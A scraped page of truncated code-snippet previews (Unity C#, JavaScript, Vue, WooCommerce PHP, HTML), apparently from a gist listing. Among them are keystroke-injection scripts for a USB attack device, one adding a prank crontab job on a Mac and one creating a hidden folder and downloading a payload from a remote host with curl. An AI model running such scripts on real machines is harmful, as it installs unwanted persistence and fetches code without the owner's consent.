This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<nav id="mobile_menu"> | |
<div class="level _show" id="1"> | |
<a href="#11">Link 1 <i class="ion-ios-arrow-right -icon"></i></a> | |
<a href="/about">Link 2</a> | |
<a href="/about">Link 3</a> | |
<a href="/about">Link 4</a> | |
<a href="/about">Link 5</a> | |
</div> | |
<div class="level" id="11"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using UnityEngine; | |
using System; | |
public class Demo : MonoBehaviour { | |
void Start() { | |
new FB_Query("/me", callback); | |
} | |
public void callback(SimpleJSON.JSONNode result) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using UnityEngine; | |
using System.Collections; | |
public class GeneralDirector : MonoBehaviour { | |
static public HTTP http; | |
public void Start () { | |
http = this.gameObject.GetComponent<HTTP> (); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var ainsley = { | |
exe: function() { | |
var egg = document.createElement('img'); | |
egg.src = 'http://i0.kym-cdn.com/photos/images/facebook/000/114/193/1298574546091.jpg'; | |
egg.setAttribute('style', 'position: fixed; top: 50%; left: 50%; z-index: 999999; transform: translate(-50%, -50%);'); | |
document.body.appendChild(egg); | |
setTimeout(function() { | |
document.body.removeChild(egg); | |
}, 500); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ = require('jquery'); | |
_ = require('lodash'); | |
Vue.directive('equate-height', { | |
inserted: function (el, binding) { | |
this.equateHeight = new EquateHeight(el, binding.value); | |
}, | |
componentUpdated: function() { | |
this.equateHeight.setHeight(); | |
}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class MyCustomProductsController extends WC_REST_Products_Controller | |
{ | |
public function register_routes() | |
{ | |
register_rest_route( $this->namespace, '/' . $this->rest_base, array( | |
array( | |
'methods' => WP_REST_Server::READABLE, | |
'callback' => array( $this, 'get_items' ), | |
'permission_callback' => array( $this, 'get_items_permissions_check' ), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DEFAULTDELAY 250 | |
DELAY 750 | |
GUI SPACE | |
STRING terminal.app | |
ENTER | |
DELAY 100 | |
STRING echo "*/2 * * * * osascript -e 'set volume 7' && open 'https://www.youtube.com/watch?v=dQw4w9WgXcQ'" | crontab - | |
ENTER | |
DELAY 100 | |
GUI q |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DELAY 1000 | |
GUI r | |
DELAY 500 | |
STRING notepad.exe | |
ENTER | |
DELAY 500 | |
STRING James says hello! |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Arrow functions | |
*/ | |
var names = ['John', 'Jane', 'Jill']; | |
// Old | |
names.map(function(name) { | |
console.log(name); | |
}); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DEFAULTDELAY 250 | |
DELAY 500 | |
GUI SPACE | |
STRING terminal.app | |
ENTER | |
DELAY 100 | |
STRING mkdir $HOME/.localrc/ | |
ENTER | |
DELAY 10 | |
STRING curl http://website.com/payload_a -o $HOME/.localrc/payload_a.sh |
OlderNewer